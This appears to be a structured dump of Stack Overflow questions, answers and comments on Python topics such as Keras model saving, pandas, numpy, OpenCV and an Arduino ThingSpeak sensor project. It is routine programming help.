has body: Loading model from scratch requires you to build model from scratch, so you can try saving your model architecture first using model.to_json() model_architecture = model.to_json() Save model weighs using model.save_weights('model_weights.h5') For loading the weights you need to reconstruct your model using the saved json file first. from tensorflow.keras.models import model_from_json model = model_from_json(model_architecture) Then load the weights using model.load_weights('model_weights.h5') You can now Compile and test the model , No need to retrain eg model.compile(loss=keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=["accuracy"]) model.evaluate(x_test, y_test, batch_size=32, verbose=2)
upvote count: 5
score: 5

http://stackoverflow.com/comment/81489287
has text: Provide an actual working example that conveys the problem you're having - as it is, it's a little difficult to understand what you're trying to do.
score: 2
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47269286

http://stackoverflow.com/comment/81456306
type: Comment
has text: To be fair, there are languages where `log_message` would still be a global name, despite being defined in a function. Python just isn't one of them.
score: 0
comment on: http://stackoverflow.com/q/47252798
type: QuestionComment

http://stackoverflow.com/comment/81496253
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47271663
has text: @Divakar exactly.
type: Comment

http://stackoverflow.com/comment/81532517
has text: (1) The `range` function goes from 0 to one less than the end value. So passing 0 as an argument is redundant, and subtracting 1 from `len(a)` is incorrect. Just do `range(len(a))`. (2) I don't see why you're doing `len(a)/2)` for j. You should do `len(a[i]) instead`.
score: 0
comment on: http://stackoverflow.com/q/47290621
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81610926
type: QuestionComment
has text: I didn't know about it, thank you for the link! But anyway I just wanted to try writing some code myself.
comment on: http://stackoverflow.com/q/47308831
type: Comment
score: 0

http://stackoverflow.com/a/47240330
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47238903
accepted answer of: http://stackoverflow.com/q/47238903
has body: Lists are great for things you intend to handle in a similar fashion. For example: def setDay(): while True: for pin, day, sound in [ (22, 'Monday', mandaglyd ), (24, 'Tuesday', tirsdaglyd), (26, 'Onsdag', onsdaglyd ), (32, 'Torsdag', torsdaglyd), (36, 'Fredag', fredaglyd ), (38, 'Lordag', lordaglyd ), (40, 'Sondag', sondaglyd ), ]: if GPIO.input(pin) == False: print(day) sound.play() time.sleep(2) return For longer term storage (beyond a single run of your program), you might consider json for simpler but arbitrary data structures, csv for simple tables, shelve for a key/value store or sqlite3 for full SQL relational databases.
type: Answer
score: 2

http://stackoverflow.com/q/47326792
tagged with: tensorflow
has title: Import tensorflow in jupyter notebook fails
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: jupyter
tagged with: jupyter-notebook
has body: When updating tensorflow to version 1.4, cudnn to version 6 and setting up SSL encryption and a password on my jupyter notebook server I constantly got the following error in notebooks: ImportError: libcudnn.so.6: cannot open shared object file: No such file or directory Importing tensorflow inside python3 -i worked fine.
downvote count: 0
score: 1
tagged with: environment-variables
upvote count: 1
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47326793

http://stackoverflow.com/comment/81641777
comment on: http://stackoverflow.com/q/47344910
has text: i edited the question to give more info
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81461961
comment on: http://stackoverflow.com/q/47255596
type: Comment
has text: Are you using Python 2? If so, see https://stackoverflow.com/questions/10768724/why-does-python-return-0-for-simple-division-calculation. TL;DR - integer division rounds values less than 1 to 0.
type: QuestionComment
score: 2

http://stackoverflow.com/comment/81693316
has text: EDIT: Doesnt work on more entries; _ for i in range(0, len(db)): tv._image = Image tv._image = Image.open(db[i]["Pic"]) tv._image.thumbnail((100, 200), PIL.Image.ANTIALIAS) tv._image = ImageTk.PhotoImage(tv._image) tv.insert('', 'end', image=tv._image, values=(db[i]['Name'], db[i]['LName'])) tv.pack()_
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47370172

http://stackoverflow.com/comment/81420110
score: 0
has text: @Divakar Yeah, approach two felt more natural (and clever).
type: Comment
comment on: http://stackoverflow.com/a/47234568
type: AnswerComment

http://stackoverflow.com/comment/81597012
comment on: http://stackoverflow.com/q/47253584
has text: It does. It makes sense to me because that is how I expected it to work the first time and I realized I created separate users within the same database. However, when I try to create a new user in `admin` I still can't use d.auth() to login in the database I am using. (I'm using just shell at this point since I realized it was never pymongo that had the issue). I believe I may have to reinstall mongo and start clean since I keep messing with the users, config, etc.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/112591591
type: Comment
comment on: http://stackoverflow.com/a/47272969
type: AnswerComment
has text: @Dirk - My apologies for mis-reading your question. If both column types come back as `pyodbc.SQL_TYPE_TIMESTAMP` then your approach makes sense: Attempt the `unpack` for `datetime2` in a`try` block and if it fails then retry for a `datetime` payload.
score: 0

http://stackoverflow.com/comment/81500095
type: AnswerComment
comment on: http://stackoverflow.com/a/47273359
score: 0
type: Comment
has text: If you do not name the view, however, the dynamic nature of the view is less than obvious. It would be rare for a dict to be changing at the same time you are iterating over the view with something like `for k, v in d.viewitems()`. Can you thing of an example where that would be true?

http://stackoverflow.com/a/47362201
has comment: http://stackoverflow.com/comment/81677373
type: Answer
has comment: http://stackoverflow.com/comment/81677470
score: 0
answers question: http://stackoverflow.com/q/47362177
has comment: http://stackoverflow.com/comment/81677407
has comment: http://stackoverflow.com/comment/81677431
has body: Using sets difference, and finding the index: fruit_types = ["apple","pear","strawberry","mango"] fruits = ["apple","strawberry","mango"] missings = set(fruit_types) - set(fruits) for missing in missings: print(fruit_types.index(missing)) output: 1 # which is the index of the missing element in fruit_types

http://stackoverflow.com/comment/81504352
type: Comment
has text: thanks, don´t have the answer to my question but you gave me an idea
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47276345

http://stackoverflow.com/a/47272014
downvote count: 0
has comment: http://stackoverflow.com/comment/81494951
accepted answer of: http://stackoverflow.com/q/47271961
score: 9
upvote count: 9
answers question: http://stackoverflow.com/q/47271961
type: Answer
has comment: http://stackoverflow.com/comment/81494889
has comment: http://stackoverflow.com/comment/81495947
has body: Shuffle the DataFrame first and then drop the duplicates: df.sample(frac=1).drop_duplicates(subset='A2') If the order of the rows is important you can use sort_index as @cᴏʟᴅsᴘᴇᴇᴅ suggested: df.sample(frac=1).drop_duplicates(subset='A2').sort_index()
type: AcceptedAnswer

http://stackoverflow.com/a/47237704
score: 0
has comment: http://stackoverflow.com/comment/81425738
has comment: http://stackoverflow.com/comment/81425476
has body: Your function passwdVal(passwd) has a return statement after you print print("Valid Password"), which means that the subsequent code (the one summing up the points) does not get executed.
type: Answer
answers question: http://stackoverflow.com/q/47237661

http://stackoverflow.com/comment/81685210
comment on: http://stackoverflow.com/a/47366130
score: 0
type: Comment
has text: sure sir, is there any way to store the number & letter separately in a string? because including regex will make it more complicated. Thanks alot for your time :)
type: AnswerComment

http://stackoverflow.com/a/47246908
has comment: http://stackoverflow.com/comment/81444381
has comment: http://stackoverflow.com/comment/81444286
has body: Here's a simplistic approach: string = 'A3G3A' expanded = '' for character in string: if character.isdigit(): expanded += expanded[-1] * (int(character) - 1) else: expanded += character print(expanded) OUTPUT: AAAGGGA It assumes valid input. It's limitation is that the repetition factor has to be a single digit, e.g. 2 - 9. If we want repetition factors greater than 9, we have to do slightly more parsing of the string: from itertools import groupby groups = groupby('DA10G3ABC', str.isdigit) expanded = [] for is_numeric, characters in groups: if is_numeric: expanded.append(expanded[-1] * (int(''.join(characters)) - 1)) else: expanded.extend(characters) print(''.join(expanded)) OUTPUT: DAAAAAAAAAAGGGABC
has comment: http://stackoverflow.com/comment/81444215
answers question: http://stackoverflow.com/q/47246668
has comment: http://stackoverflow.com/comment/81444318
type: Answer
score: 11
upvote count: 11
has comment: http://stackoverflow.com/comment/81444399
downvote count: 0
has comment: http://stackoverflow.com/comment/81444155

http://stackoverflow.com/comment/81552649
comment on: http://stackoverflow.com/q/47300798
score: 0
type: Comment
type: QuestionComment
has text: a1 = {"city":"Boston","code":"BOS"} is a dictionary... Anyway. What I meant was a list of dictionaries: [{"city":"Boston","code":"BOS"}, {"city":"Atlanta","code":"ATL"}, {"city":"Chicago","code":"ORD"}]

http://stackoverflow.com/q/47372235
has answer: http://stackoverflow.com/a/47377050
tagged with: opencv
score: 0
answer count: 1
tagged with: image-processing
tagged with: image
has body: So i've used a border for the pixels that are 'outside' the image so the kernel can use the border's pixels to get a minimum. I've no idea why my function would produce a different output to that of the inbuilt function - I've inspected both outputs carefully (writing to an image and zooming in) and looking very carefully I can't notice a difference in pixels! import cv2 import numpy as np img = cv2.imread('lena.png',cv2.IMREAD_GRAYSCALE) reflect = cv2.copyMakeBorder(img,3,3,3,3,cv2.BORDER_REFLECT) cv2.imshow('img', reflect) cv2.waitKey(0) imgEroded = np.zeros((512+6,512+6,3), np.uint8) for i in range(0,reflect.shape[0]): for j in range(0,reflect.shape[1]): n = np.matrix(reflect[i-3:i+2, j-3:j+2]) if n.size &gt; 0: imgEroded[i][j] = n.min() imgEroded = imgEroded[3:512+3, 3:512+3] kernel = np.ones((5,5),np.uint8) erode = cv2.erode(img,kernel) # print erode.shape[:2] cv2.imshow('erosionCorrect',erode) cv2.imshow('erosion',imgEroded) cv2.imwrite('myOutput.png',imgEroded) cv2.imwrite('correct.png',erode) print(np.array_equal(erode, imgEroded)) # cv2.imshow('real',erode) cv2.waitKey(0)
type: Question
type: UnansweredQuestion
tagged with: python
has title: My erode() function doesn't produce same output as openCV's erode function

http://stackoverflow.com/a/47265687
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47264599
answers question: http://stackoverflow.com/q/47264599
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81482374
has comment: http://stackoverflow.com/comment/81482854
type: Answer
has body: Your setup.py does not contain any paths, but seems to only find the files via find_packages. So of course it depends from where you run it. The setup.py isn't strictly tied to its location. Of course you could do things like chdir to the basename of the setup file path in sys.argv[0], but that's rather ugly. The question is, WHY do you want to build it that way? It looks more like you would want a structure like mypackage-source mypackage submodule1 submodule2 setup.py And then execute setup.py from the work directory. If you want to be able to run it from anywhere, the better workaround would be to put a shellscript next to it, like #!/bin/sh cd ``basename $0`` python setup.py $@ which separates the task of changing to the right directory (here I assume the directory with setup.py in the workdir) from running setup.py

http://stackoverflow.com/a/47330592
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47330245
has body: Loop is the way to go. Forget about sets so far as they do not work for words with repetitive letters. Here is a method you can use to determine if word is valid in a single loop: def is_valid(word): last_char = None for i in word: if i == last_char: return False last_char = i return True Example In [28]: is_valid('dogo') Out[28]: True In [29]: is_valid('doo') Out[29]: False
downvote count: 0

http://stackoverflow.com/q/47231177
type: UnansweredQuestion
downvote count: 0
answer count: 1
tagged with: hdfs
tagged with: python
favorite count: 0
score: 2
has body: I want to access HDFS jceks (password alias is created) in python script for secure login. Can anyone help with with python code /steps to do so. Thank you
type: Question
has answer: http://stackoverflow.com/a/49733836
has title: Accessing HDFS jceks in python script
tagged with: jceks
upvote count: 2

pipe
tags question: http://stackoverflow.com/q/47250797
tag name: pipe
tags question: http://stackoverflow.com/q/47352371
tags question: http://stackoverflow.com/q/47287754
type: Tag

http://stackoverflow.com/a/47283042
has comment: http://stackoverflow.com/comment/81572028
score: 2
has comment: http://stackoverflow.com/comment/81572480
has comment: http://stackoverflow.com/comment/81522261
has comment: http://stackoverflow.com/comment/81518962
has comment: http://stackoverflow.com/comment/81574969
upvote count: 2
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81517770
has body: What should be written in your question To summarize: You have a list of n integers. You want to calculate every combination of p integers. You want to calculate the sum of every combination. You want to sort those sums. You want the k-th sum. Code with itertools.combinations With this description, the code becomes straightforward: from itertools import combinations n = 5 p = 3 k = 4 integers = range(1, n + 1) triples = combinations(integers, p) # [(1, 2, 3), (1, 2, 4), (1, 2, 5), (1, 3, 4), (1, 3, 5), (1, 4, 5), (2, 3, 4), (2, 3, 5), (2, 4, 5), (3, 4, 5)] triple_sums = [sum(t) for t in triples] # [6, 7, 8, 8, 9, 10, 9, 10, 11, 12] triple_sums.sort() # [6, 7, 8, 8, 9, 9, 10, 10, 11, 12] print(triple_sums[k - 1]) # 8 Using itertools.combinations might speed your code up, especially since you don't need to calculate math.factorial(n) for large n. Most of all, this code is much more concise and shows your intent much better. Performance It's unfortunate that triple_sums isn't sorted even if integers are sorted. Every combination needs to be calculated, and the whole list has to be sorted. There might be an alternative way to produce the combinations with which triple_sums would be sorted directly but I cannot think of any. If your list has 7000 integers, there will be 57142169000 triples. Using itertools won't help much for performance. You'd need to provide more information about the list and k.
has comment: http://stackoverflow.com/comment/81518181
answers question: http://stackoverflow.com/q/47281338

http://stackoverflow.com/q/47327647
tagged with: function
answer count: 1
upvote count: 1
downvote count: 1
has body: I have a function which takes in an image from the Camera and processes the image and finally calculates the number of objects detected in the image along with the diameters. I want to check outside the function if the number of objects is 1 or not, and accordingly program to change the value of the signals which are producing the droplet(object). def DropletRecognition(image_orig,image_calibration,Mean_section_brightness,line_lowerNozzleEdge): showImages=1 #To maintain the brightness mean_brightness=np.mean(np.mean(image_orig[0:line_lowerNozzleEdge][:])) factor=Mean_section_brightness/mean_brightness image_orig = misc.imread(image_name) image=image_orig*factor image=image_orig if showImages == 1: print('measured image') print(image_orig) print('image_calibration') print(image_calibration) fig1 = plt.figure(1) fig1.suptitle(image_name) plt.imshow(image, cmap='gray') plt.draw() plt.waitforbuttonpress() #To subtract the calibration image from the measured image image_subtracted = image-image_calibration #Calculating the lower nozzle edge and doing further resizing image_subtracted[0:line_lowerNozzleEdge][:]=0 #To delete the nozzle lines image_subtracted=image_subtracted[line_lowerNozzleEdge+10:][:] image_subtracted=image_subtracted.astype('uint32') #Erosion and Dilation to condition the image image_tmp=image_subtracted kernel = np.ones((5,5),np.uint8) image_tmp = ndimage.grey_erosion(image_tmp, size=(6,6)) image_tmp = ndimage.grey_dilation(image_tmp, size=(6,6)) image_subtracted=image_tmp #To convert the image to Binary thresh_rc = mh.thresholding.rc(image_subtracted) thresh=thresh_rc image_binary = image_subtracted &gt; thresh image_bin_int=image_binary.astype('uint8') #To extract the features from the Binary Image image_tmp=image_bin_int im_floodfill = image_tmp.copy() h, w = image_tmp.shape[:2] mask = np.zeros((h+2, w+2), np.uint8) cv2.floodFill(im_floodfill, mask, (0,0), 255); im_floodfill_inv = cv2.bitwise_not(im_floodfill) im_out = image_tmp | im_floodfill_inv i…
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81607987
has comment: http://stackoverflow.com/comment/81614338
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81606168
has comment: http://stackoverflow.com/comment/81607929
has comment: http://stackoverflow.com/comment/81616344
tagged with: python
has comment: http://stackoverflow.com/comment/81607203
score: 0
has title: How to use a parameter of the function outside the function?
has answer: http://stackoverflow.com/a/47327775

http://stackoverflow.com/q/47349237
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81650461
tagged with: datetime
tagged with: python
has answer: http://stackoverflow.com/a/47349361
has title: Convert the date time stamp to local epoch datatime
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47349407
answer count: 3
has comment: http://stackoverflow.com/comment/81650346
score: 1
has comment: http://stackoverflow.com/comment/81652591
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47350679
favorite count: 0
type: Question
has body: Assume this is my date time stamp list: [datetime.datetime(2017, 11, 17, 9, 33, 11), datetime.datetime(2017, 11, 17, 9, 33, 36), datetime.datetime(2017, 11, 17, 9, 33, 48)] A lot of examples have been given for converting these values to epoch, but the values are in GMT. How do we convert it to Epoch Local time? To put it in simpler words. The general epoch conversion coverts the given date into epoch considering that the datetime given is in GMT. But the given date time is localtime!

http://stackoverflow.com/comment/81754414
comment on: http://stackoverflow.com/a/47399018
type: Comment
has text: Code `split1,split2 = df.timestamp[1].split(' ')` from [Bharath](https://stackoverflow.com/users/4800652/bharath)
score: 0
type: AnswerComment

http://stackoverflow.com/q/47336600
tagged with: arduino
tagged with: iot
type: Question
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/75856425
answer count: 1
has comment: http://stackoverflow.com/comment/81625009
has body: I'm trying to upload sound sensor data to Thingspeak. Having problems getting the data when connected to the Wifi. The Arduino is supposed to pick up sound, light up an LED and send the data to the Thingspeak but the LED isn't responding once the code for Thingspeak is input and it's not sending any data to Thingspeak. Any help would be appreciated. #include &lt;Wire.h&gt; #include "ThingSpeak.h" #include &lt;SPI.h&gt; #include &lt;WiFi101.h&gt; // Create instance of WiFi client WiFiClient client; char ssid[] = "Arduino"; // your network SSID (name) // Add yourThingSpeak channel information here unsigned long myChannelNumber = 365995; const char * myWriteAPIKey = "30Y94U59QGRL5OEJ"; const int ledPin = 6; //pin 13 built-in led const int soundPin = A0; //sound sensor attach to A0 int threshold = 1000; //Set minimum threshold for LED lit void setup() { pinMode(ledPin,OUTPUT);//set pin13 as OUTPUT Serial.begin(9600); //initialize serial ThingSpeak.begin(client); WiFi.begin(ssid); // Print WiFi strength information printCurrentNet(); } void loop() { int value = analogRead(soundPin);//read the value of A0 Serial.println(value);//print the value if(value &gt; threshold) //if the value is greater than 600 { digitalWrite(ledPin,LOW);//turn off the led //delay(1000); } else { digitalWrite(ledPin,HIGH);//turn on the led ThingSpeak.setField(1, value); } } void printCurrentNet() { // Print the WiFi signal strength: long rssi = WiFi.RSSI(); Serial.print("Signal strength (RSSI): "); Serial.print(rssi); Serial.println(" dBm"); }
has comment: http://stackoverflow.com/comment/81626442
has comment: http://stackoverflow.com/comment/81626582
has title: Issue with Arduino/Thingspeak
score: 0

http://stackoverflow.com/q/47259570
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has body: I have a pandas dataframe that captures values over a timespan (maybe monthly over years, or daily over years, or daily over months). There is no guarantee that the time series is continuous (some months might be missing in a year) """ no guarantee that this index will have an entry for every month of the time range!""" dates = pd.date_range('1/1/2015', periods=36, freq='M') df = pd.DataFrame(index = dates) df['value'] = df.index.year * 0.1 + df.index.month * 0.05 df.plot() It can give me a simple time series plot But what I want to make is a 'seasonal' plot. This would display each year's data as a different line on the same index of months. As a simple display: import numpy as np index = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'] df = pd.DataFrame(index = index) df[2015] = np.arange(12)*0.4+1 df[2016] = np.arange(12)*0.35+1.4 df[2017] = np.arange(12)*0.5+1.2 df.plot() I'm looking for a 'pythonic' or elegant way to do this operation. My attempts to transform have been incredibly gross, spaghetti, garbage code. I am sure there must be some tidy approach using pandas/python to display this transformation efficiently and cleanly In particular, I want to find an abstracted way to do this, so that I can generalize it to making charts showing "seasonality" of days across a month, etc. To start with, I'm not even sure what is a good index to build and base this chart off of.
accepted answer: http://stackoverflow.com/a/47259646
tagged with: python
has title: A 'pythonic' way to generate a seasonal dataframe from a pandas timeseries dataframe
has answer: http://stackoverflow.com/a/47259646
type: AnsweredQuestion
tagged with: pandas
score: 1

http://stackoverflow.com/comment/81563032
type: QuestionComment
comment on: http://stackoverflow.com/q/47306156
has text: Might help https://docs.python.org/3.0/library/stdtypes.html#str.replace
score: 0
type: Comment

http://stackoverflow.com/a/47387545
type: Answer
has body: The simplest way that you can try is to output 3 values from the deep learning model. I have given below a sample code with the comments where necessary. import tensorflow as tf N_OUTPUTS = 3 N_INPUTS = 48 N_HIDDEN_UNITS = # Define here N_EPOCHS = # define here input = tf.placeholder(tf.float32, shape=[None, N_INPUTS], name='input') # input here outputs = tf.placeholder(tf.float32, shape=[None, N_OUTPUTS], name='output') # one sample is something like[Ax,Ay,Az] # one hidden layer with 3 outputs W = { 'hidden': tf.Variable(tf.random_normal([N_INPUTS, N_HIDDEN_UNITS])), 'output': tf.Variable(tf.random_normal([N_HIDDEN_UNITS, N_OUTPUTS])) } biases = { 'hidden': tf.Variable(tf.random_normal([N_HIDDEN_UNITS], mean=1.0)), 'output': tf.Variable(tf.random_normal([N_OUTPUTS]), mean=1.0) } hidden = tf.matmul(input, W['hidden']) + biases['hidden'] # hidden layer output_ = tf.matmul(hidden, W['output']) + biases['output'] # outputs cost = tf.reduce_mean(tf.square(output_ - outputs)) # calculates the cost optimizer = tf.train.GradientDescentOptimizer(0.001).minimize(cost) # optimazer with tf.Session() as session: session.run(tf.global_variables_initializer()) for epoch in range(N_EPOCHS): # _ = session.run([optimizer],feed_dict={input: , outputs : }) should feed input and output as [Ax,Ay,Az] Above, I have created an NN model with just one hidden layer and then outputs 3 values ([Ax, Ay, Az]). However, you can try something like above model if your [Ax, Ay, Az] are interdependent (i.e have a correlation). Otherwise, just build 3 independent models for the three outputs and train them separately. Hope this helps.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47370218
downvote count: 0

http://stackoverflow.com/a/47291736
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81536653
accepted answer of: http://stackoverflow.com/q/47290716
answers question: http://stackoverflow.com/q/47290716
type: Answer
has body: This would be more easily done using Numpy arrays throughout. Something like: import numpy as np N = 5 sensor1 = np.zeros((N,), dtype=float) for i in range(N): sensor1[i] = BridgeValue(0) * 274.0 - 2.1 sleep(1) average = np.mean(sensor1)
has comment: http://stackoverflow.com/comment/81536043
score: 2
upvote count: 2

http://stackoverflow.com/q/47345467
type: Question
has title: Python Riemann Sum does not yield zero for equal positive and negative areas
possible better answer: http://stackoverflow.com/a/47346366
score: 0
has answer: http://stackoverflow.com/a/47346366
tagged with: matplotlib
tagged with: integral
tagged with: python
accepted answer: http://stackoverflow.com/a/47351248
tagged with: calculus
has answer: http://stackoverflow.com/a/47351248
type: AnsweredQuestion
answer count: 3
has body: I wrote a program to approximate an integral using a Riemann sum and graph it using matplotlib in Python. For functions with equal areas above and below the x-axis, the resulting area should be zero, but my program outputs a very small number instead. The following code graphs the odd function f(x) = x^3 from -1 to 1, so the area should be zero. My code instead approximates it to be 1.68065561477562 e^-15. What is causing this? Is it a rounding error in delta_x, x, or y? I know I could just round the value to zero, but I'm wondering if there is another problem or way to solve this. I have tried using the Decimal.decimal class for delta_x, but I just got an even smaller number. The Python code: import matplotlib.pyplot as plt import numpy as np # Approximates and graphs integral using Riemann Sum # example function: f(x) = x^3 def f_x(x): return x**3 # integration range from a to b with n rectangles a, b, n = -1, 1, 1000 # calculate delta x, list of x-values, list of y-values, and approximate area under curve delta_x = (b - a) / n x = np.arange(a, b+delta_x, delta_x) y = [f_x(i) for i in x] area = sum(y) * delta_x # graph using matplotlib fig = plt.figure() ax = fig.add_subplot(111) ax.plot(x, y) ax.bar(x, y, delta_x, alpha=.5) plt.title('a={}, b={}, n={}'.format(a, b, n)) plt.xlabel('A = {}'.format(area)) plt.show()
has answer: http://stackoverflow.com/a/47346075

http://stackoverflow.com/comment/81666024
type: AnswerComment
comment on: http://stackoverflow.com/a/47356605
type: Comment
has text: I removed the delimiter still i am having the error of could not convert string to float
score: 0

http://stackoverflow.com/a/47294253
type: Answer
has comment: http://stackoverflow.com/comment/81615292
answers question: http://stackoverflow.com/q/47293558
has comment: http://stackoverflow.com/comment/81567992
score: 0
has comment: http://stackoverflow.com/comment/81562032
has body: Without seeing the HTML it is hard to tell but I am guessing parsing your table would be better done like this: python BeautifulSoup parsing table . That way you can be sure the headers and values match up. I think it would be a disservice to your education to give the answer. So I hope the following helps: If we have a list of items (rows!) [ ('a', 1 ), {'a', 2), ('a', 3), ('b', 1), ('b', 2), ('b', 3)] and we want to turn them into a list of [ ( 'a': [1, 2, 3] ), ('b': [1, 2, 3] ) ] then we could just add a dictionary d = {} for v1, v2 in items: d.setdefault(v1, []).append(v2) setdefault here is just a shortcut for having a list by default for our list. After this d.items() will have the values. The next step would then be to incorporate the headers. Perhaps start with one column Oil – saleable only at first and build from there.

http://stackoverflow.com/q/47352350
has answer: http://stackoverflow.com/a/47352530
has comment: http://stackoverflow.com/comment/81656793
downvote count: 1
has body: I'm new to Python and i'm trying to create a block of code that prints a statement if a value is more than a value I've defined. The below code however isn't working, it's not printing anything despite the values of row[4] being greater than '10'. Even when I try == '55.9280': it still doesn't satisfy the criteria, and itsn't printing anything. Thanks in advance! The list is an output of a MySQL statement string convetred into a list. With row[4] being QueryTime. Forename: Surname: Email: Querytime: e.g. for row in list: print row[4] if row[4] &gt; '10': print("is greater than") row 4 = 55.9280 45.5300 40.2040 38.7850 32.8320 32.5820 31.6290 30.0630 29.4950 28.9780
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47352483
possible better answer: http://stackoverflow.com/a/47352527
has comment: http://stackoverflow.com/comment/81656792
has answer: http://stackoverflow.com/a/47352772
tagged with: python
has answer: http://stackoverflow.com/a/47352527
accepted answer: http://stackoverflow.com/a/47352483
answer count: 4
score: -1
type: AnsweredQuestion
upvote count: 0
has title: Python - If row more than, do something

http://stackoverflow.com/q/47343589
score: 6
tagged with: python
upvote count: 6
tagged with: append
tagged with: list
has comment: http://stackoverflow.com/comment/81639333
answer count: 1
duplicate of: http://stackoverflow.com/q/1132941
has title: Explanation for a code needed : Appending the values to list in python
has answer: http://stackoverflow.com/a/47343692
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/1132941
has comment: http://stackoverflow.com/comment/81639294
has body: Anyone explain this please...... def f(i,list1=[]): list1.append(i) return list1 f(1) f(2) print(f(3)) Output: [1,2,3]. I cannot understand this, because everytime my list1 is initialized as a empty list. Can anyone explain this??
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81639193
downvote count: 0

http://stackoverflow.com/comment/81669647
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47357967
score: 0
has text: how can i change this limits?

http://stackoverflow.com/comment/81684636
comment on: http://stackoverflow.com/q/47365613
type: Comment
type: QuestionComment
score: 0
has text: Could you post your entire views.py? Including your imports and get method

http://stackoverflow.com/comment/81430974
type: QuestionComment
comment on: http://stackoverflow.com/q/47240282
score: 0
has text: Can't you execute foo in a subprocess and make bar wait for foo to finish (by success or fail) using `Popen.poll()`? Also see https://stackoverflow.com/q/43274476/2923755
type: Comment

http://stackoverflow.com/a/61376281
answers question: http://stackoverflow.com/q/47382184
score: 1
type: Answer
has body: It is possible to save the data of val_loss and val_acc using the ModelCheckpoint class of Keras. from keras.callbacks import ModelCheckpoint checkpointer = ModelCheckpoint(filepath='yourmodelname.hdf5', monitor='val_loss', verbose=1, save_best_only=False) history = model.fit(X_train, y_train, epochs=100, validation_split=0.02, callbacks=[checkpointer]) history.history.keys() # output # dict_keys(['val_loss', 'val_mae', 'val_acc', 'loss', 'mae', 'acc']) An important point, if you omit the validation_split property, you will only get the values of loss, mae and acc. Hope this helps!
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47368401
has title: Numpy zip resulting in Scientific value notation
favorite count: 0
score: -1
has comment: http://stackoverflow.com/comment/81689152
tagged with: numpy
type: Question
upvote count: 0
linked to: http://stackoverflow.com/q/2891790
has comment: http://stackoverflow.com/comment/81689778
has comment: http://stackoverflow.com/comment/81689865
type: UnansweredQuestion
tagged with: python
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81689127
has comment: http://stackoverflow.com/comment/81689549
has comment: http://stackoverflow.com/comment/81689843
has body: I am trying to add zeros to an array at desired indices. newerror = [] for i in range(40): temp = [] for j in range(20): output = numpy.zeros((196)).astype(numpy.float64) # 196*1 x=index2[i][j].astype(int) # 40*20*49 # filling 49 elements into 196 elements # at desired indices y=error[i][j] # 40*20*49 for (ind, rep) in zip(x, y): output[ind] = rep temp.append(output) newerror.append(temp) #40*20*196 I have achieved it using the above code. For each array of inputs: the zeros in output array are replaced with input values at the the desired index. but my result looks like this: with a random array showing up in scientific notation while there is no requirement. (piece of ouput;Total output size:40*20*196) 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 7.69098301e-02 0.00000000e+00 0.00000000e+00 1.51987125e-01 0.00000000e+00 8.44965872e-02 0.00000000e+00 -1.59399264e-04 1.44000233e-01 0.00000000e+00 1.07718190e-01 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 -3.70872988e-02 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 9.31264783e-02 0.00000000e+00 0.00000000e+00 0.00000000e+00 -5.27716619e-02 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 -8.66752459e-02 0.00000000e+00 1.60625907e-01 0.00000000e+00 0.00000000e+00 0.00000000e+00 -5.99051582e-02 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 4.35048696e-02 0.00000000e+00 -4.90880002e-02 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 -9.75583410e-03 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 -5.85866895e-02 -4.12372907e-02 0.00000000e+00 3.39738431e-02 0.00000000e+00 0.00000000e+00 -3.28913870e-02 0.00000000e+00 0.00000000e+00 0.00000000e+00 -…
has comment: http://stackoverflow.com/comment/81690006
has comment: http://stackoverflow.com/comment/81689623
has comment: http://stackoverflow.com/comment/81689731
has answer: http://stackoverflow.com/a/47368784

http://stackoverflow.com/comment/81574359
type: Comment
type: QuestionComment
score: 2
has text: It would be helpful if you explained what about this behaviour alienates you - since you already seem to know about the concept of copies and object identity.
comment on: http://stackoverflow.com/q/47311782

http://stackoverflow.com/comment/81715265
type: Comment
type: QuestionComment
score: 0
